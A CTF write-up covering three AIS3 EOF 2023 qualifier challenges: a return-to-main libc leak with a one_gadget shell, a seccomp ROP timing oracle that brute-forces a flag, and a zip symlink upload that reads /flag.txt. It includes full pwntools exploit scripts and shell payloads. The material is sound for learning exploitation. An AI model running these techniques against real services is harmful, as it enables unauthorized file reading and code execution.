# AIS3 EOF 2023 初賽 ## PWN ### real_rop #### Description * Challenge [URL](https://share.ctf.zoolab.org/) * Folder structure: ``` Share ├── share │ ├── chal │ ├── flag │ ├── Makefile │ ├── real_rop++.c │ └── run.sh ├── docker-compose.yaml ├── Dockerfile └── xinetd ``` #### Original Code ```cpp! #include <unistd.h> int main() { char buf[0x10]; read(0, buf, 0x30); write(1, buf, 0x30); return 0; } ``` ```make! gcc -fno-stack-protector -o chal real_rop++.c ``` * Obviously buffer overflow but not much * Preliminary idea is `one_gadget` * Check protector ```bash! $ checksec chal [*] '/home/sbk6401/CTF/AIS3/PWN/real_rop/share/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` * `PIE` is enabled → use write function to leak `libc` address * `Full RELRO` → cannot use `GOT hijacking` * Refer to [大神write up](https://hackmd.io/Prmz9YuOQsiHGXrTuYMzFw?view#Real_rop), we cannot leak `libc` address and get shell at one time. So, we can control `$rip` and return to the beginning of `main` function and go through the process again. That is, <font color="FF0000">we have another `read` function</font> to fill in `one_gadget`. * Note that, **the version of Ubuntu and Glibc is VERY VERY important**, according to `Dockerfile`, it seems use Ubuntu 20.04 with default ```dockerfile! FROM ubuntu:20.04 MAINTAINER u1f383 RUN apt-get update && \ DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd RUN useradd -m chal RUN chown -R root:root /home/chal RUN chmod -R 755 /home/chal CMD ["/usr/sbin/xinetd", "-dontfork"] ``` #### Analyze where to return * <font color="FF0000">**`For Ubuntu 22.04 & GLIBC 2.35` - back to `__libc_start_main+121`**</font> ```bash! $ gdb chal pwndbg> starti pwndbg> vmmap ``` ![](https://imgur.com/gZjkjR0.png) ```bash! pwndbg> b _start Breakpoint 15 at 0x555555555080 (2 locations) pwndbg> c ``` ![](https://imgur.com/T7ZR1or.png) ```bash! pwndbg> pwndbg> b __libc_start_main Breakpoint 16 at 0x7ffff7db8dc0: file ../csu/libc-start.c, line 242. pwndbg> c pwndbg> ni # until <__libc_start_main+123> ``` ![](https://imgur.com/mts1hQW.png) ```bash! pwndbg> s pwndbg> ni # until <__libc_start_main+123> ``` ![](https://imgur.com/iht55Ot.png) ```bash! pwndbg> s ``` ![](https://imgur.com/9V30ok9.png) ```bash! pwndbg> ni # until <main+62> ``` ![](https://imgur.com/IxTG2nC.png) ### Overall, the sequence is: ```bash! _start → 0x0000555555555080 __libc_start_main+123 → 0x00007ffff7db8e3b __libc_start_call_main+126 → 0x00007ffff7db8d8e ``` ```bash! _start ... _start+31 ↓ __libc_start_main ... __libc_start_main+123 ↓ __libc_start_call_main ... __libc_start_call_main+126 ↓ main ... __libc_start_call_main+128 __libc_start_call_main+130 ↓ exit ``` * <font color="FF0000">**`For Ubuntu 20.04 & GLIBC 2.31` - back to `__libc_start_main+236`**</font> Whole processes are almost the same as above, just the sequence is different ### Overall, the sequence is: ```bash! _start ... _start+40 ↓ __libc_start_main ... __libc_start_main+241 ↓ main ... __libc_start_main+243 __libc_start_main+245 ↓ exit ``` ![](https://imgur.com/kemHGjG.png) #### Exploit - leak `libc` address + one_gadget <font color="FF0000">Use Ubuntu 20.04 that the same as remote server</font> 1. Try to control `$rip` and return to beginning We can observe stack at the end of `main` function. It'll always return to `__libc_start_main+243`. Therefore, we can padding garbage bytes and overlap the last byte of `$rip`. ![](https://imgur.com/qwhZ1qq.png) ```python! payload = p64(0) * 3 + int.to_bytes(124, 1, 'little') ``` According to the derivation of last section, we should return to `__libc_start_main+236`(the address is `0x7ffff7df007c` for temp) and the address of `__libc_start_main+243` is `0x7ffff7df0083`(temp), so that we just modify the last bytes → $0x73=124$ ![](https://imgur.com/y4TJSWo.png) 2. Try to leak `libc` offset - `write` function + `gdb` We can observe stack situation before sending payload. The first 3\*8 bytes are garbage bytes that we filled at first round. ![](https://imgur.com/Dm0nZBn.png) ```python! r.recv(0x18) libc_addr = u64(r.recv(6) + b'\x00\x00') - 0x24083 + 0x7 ``` Skip garbage bytes first then receive 6 bytes. Note that `- 0x24083 + 0x7` is try and error so that it can be `0x7f07a24fb00`(temp) checked by `vmmap`. ![](https://imgur.com/igQeoUJ.png) 3. Construct `one_gadget` Use `vmmap` to check which `libc` version be used - <font color="FF0000">`/lib/x86_64-linux-gnu/libc-2.31.so`</font> ![](https://imgur.com/2hTs3o4.png) ```bash! $ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so ... 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL ... $ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" --multibr > one_gadget $ vim one_gadget ``` ```python! pop_r15_ret = libc_addr + 0x2a3e4 pop_r12_ret = libc_addr + 0x2f709 r.send(p64(0) * 3 + p64(pop_r12_ret) + p64(0) + p64(libc_addr+0xe3afe)) ``` <font color="FF0000">Note that</font> `$r15` has NULL already before `read` function, so it's no need to send `pop_r15_ret`. ![](https://imgur.com/SK0U7Mn.png) 4. Then we got shell!!! ![](https://imgur.com/3zRhmUG.png) #### Reference [gdb指令](https://lu-yi-hsun.github.io/posts/reverse/gdb/#dwarf) [Linux中誰來呼叫C語言中的main?](http://wen00072.github.io/blog/2015/02/14/main-linux-whos-going-to-call-in-c-language/) [Docker exec 命令](https://www.runoob.com/docker/docker-exec-command.html) ### how2know_revenge #### Description * Challenge: `nc edu-ctf.zoolab.org 10012` * Environment Version: Ubuntu 20.04 * Folder structure: ``` Share ├── share │ ├── chal │ ├── flag │ ├── Makefile │ ├── how2know_revenge.c │ └── run.sh ├── docker-compose.yaml ├── Dockerfile └── xinetd ``` #### Original Code ```cpp!= #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <seccomp.h> #include <sys/mman.h> #include <stdlib.h> static char flag[0x30]; int main() { char addr[0x10]; int fd; scmp_filter_ctx ctx; fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the rop\n", 31); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); return 0; } ``` ```bash! $ gcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp $ checksec chal [*] '/home/sbk6401/CTF/AIS3/PWN/how2know_revenge/share/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` ##### Description & Preliminary Idea The whole process flow is almost the same as [how2know](/jHf3sAfOTveOIguRGXXmwQ). The difference is global variable turned into local variable and it has buffer overflow obviously. So, we can find various `ROP` and access into it and brute force to compare the single char of the flag. #### Exploit - `ROP` + [how2know](/jHf3sAfOTveOIguRGXXmwQ) 1. Find `flag` address → <font color="FF0000">`0x4de2e0`</font> ```bash $ objdump -d -M Intel chal | grep "<flag>" 401cfe: 48 8d 35 db c5 0d 00 lea 0xdc5db(%rip),%rsi # 4de2e0 <flag> ``` 2. Create `ROP` chain ```bash! $ ROPgadget --binary chal --multibr > rop_gadget $ vim rop_gadget ``` ```python! pop_r14_ret = 0x402797 mov_eax_dword_ptr_rax_ret = 0x4022ee cmp_al_r14b_ret = 0x438c15 jne_0x426148_ret = 0x426159 pop_rbx_ret = 0x401fa2 jmp_rbx = 0x4176fd infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx) ROP = flat( pop_rax_ret, flag_addr+idx, mov_eax_dword_ptr_rax_ret, pop_r14_ret, guess, cmp_al_r14b_ret, jne_0x426148_ret, ) ROP += infinite_loop ``` * Move the flag address to `$rax`, and move the flag string to `$eax` next * Then put our guess single char to `$r14` * Compare `$al` and `$r14b` * If correct, go into infinity loop, otherwise, jump to `0x426148` 3. **How to know the single char in pwntool side?** When the comparison is correct, it'll access into infinity loop and `recv` function will receive something then break while loop and close the connection, otherwise, it'll jump to `0x426148` and trigger timeout exception. ```python! r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.5) break except: # If compare correct, pwntool will break out guess += 1 r.close() ``` 4. Repeat ```python! flag = '' idx = 0 while idx < 48: guess = 0x20 while guess < 0x80 : r = remote('edu-ctf.zoolab.org', 10012) {create ROP} r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : ... except: ... r.close() idx += 1 flag += chr(guess) ``` * Whole exploit ```python!= from pwn import * context.arch = 'amd64' flag_addr = 0x4de2e0 pop_r14_ret = 0x402797 mov_eax_dword_ptr_rax_ret = 0x4022ee cmp_al_r14b_ret = 0x438c15 jne_0x426148_ret = 0x426159 pop_rbx_ret = 0x401fa2 jmp_rbx = 0x4176fd infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx) flag = '' idx = 0 while idx < 53: guess = 0x20 while guess < 0x80 : # r = process('./chal') r = remote('edu-ctf.zoolab.org', 10012) ROP = flat( pop_rax_ret, flag_addr+idx, mov_eax_dword_ptr_rax_ret, pop_r14_ret, guess, cmp_al_r14b_ret, jne_0x426148_ret, ) ROP += infinite_loop r.sendafter(b'rop\n',b'a'*0x28 + ROP) try : # If compare not correct, guess++ and access to infinity loop r.recv(timeout=0.5) break except: # If compare correct, pwntool will break out guess += 1 r.close() idx += 1 flag += chr(guess) print(flag) print(flag) r.interactive() ``` * <font color="FF0000">Note that</font>: The exploit program will be affected by the internet connection and caused the result is wrong like this: ``` FLA!{CORORO_f8b7d5d23ad03512P6687384b7a2a/00} 'LAG{CORORO_f8b7d5d23ad03512d6687384b7a2a500} *LAG{C*RORO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CO#/RO_f8b7d5d23ad03512d6687384b7a2a500} FLAG{CAMORO_f8b7d5d/3ad03512d6687384!7a2a500xX ``` Thus, you can run much more times to compare the result together so that you can patch up the flag correctly. #### Reference [EOF 2023](/SkxNKJBqi#how2_know_revenge) ## Web ### Share #### Description * Challenge [URL](https://share.ctf.zoolab.org/) * Folder structure: ``` Share ├── Web │ ├── src │ │ ├── static │ │ │ └── {None} │ │ ├── template │ │ │ ├── index.html │ │ │ └── login.html │ │ └── app.py │ └── Dockerfile ├── docker-compose.yaml └── flag ``` * This website function is let the user can upload compress folder <font color="FF0000">(\*.zip)</font> and the compress folder must contains a <font color="FF0000">`index.html`</font> file so that it can uncompress the folder then redirect to this new page. * To solve this question, we must use [<font color="FF0000">**`symbolic link`**</font>](https://youtu.be/jdZsO2GAf2I) #### Observation * Main program first - **`app.py`** This part is aim to unzip the compress folder and redirect to new page - `index.html` that the user provide ```python! ... @app.route('/upload', methods=['POST']) def upload_file(): if 'user' not in session: return 'Login first' if 'file' not in request.files or not request.files['file'].filename: return 'Missing file' _sub = session['user'] file = request.files['file'] tmppath = path.join('/tmp', urandom(16).hex()) realpath = safeJoin('/app/static', _sub) if not realpath: return 'No path traversal' if not path.exists(realpath): mkdir(realpath) file.save(tmppath) returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode if returncode != 0: return 'Not a zip file' if not path.isfile(path.join(realpath, 'index.html')): return '"index.html" not found' return redirect(realpath[4:]+'/index.html', code=302) ... ``` * **`docker-compose.yaml`** We can see that the flag is mounted on <font color="FF0000">`/flag.txt`</font> ```docker version: '3.9' services: web: build: web restart: always ports: - 8080:5000 volumes: - ./flag:/flag.txt:ro ``` #### Construct Payload * So, our first idea is using symbolic link to create a `payload.txt` that link to `/flag.txt` and compress with `index.html` then upload to the web page. * Payload ```bash! touch index.html ln -s /flag.txt payload.txt zip --symlinks -ry index.zip payload.txt index.html ``` Then rewrite the URL like this: https://share.ctf.zoolab.org/static/123/payload.txt <font color="FF0000">FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}</font> #### Reference [unzipper-ctftime](https://ctftime.org/writeup/31867) [unzipper-mikecat](https://mikecat.github.io/ctf-writeups/2021/20211218_hxp_CTF_2021/WEB/unzipper/#en) [unzipper-nandynarwhals](https://nandynarwhals.org/hxp-ctf-2021-unzipper/) [電腦王-symbolic link](https://www.techbang.com/posts/12538-hard-links-soft-links-archives-does-not-fashu) [Ithelp - symbolic link](https://ithelp.ithome.com.tw/articles/10222754)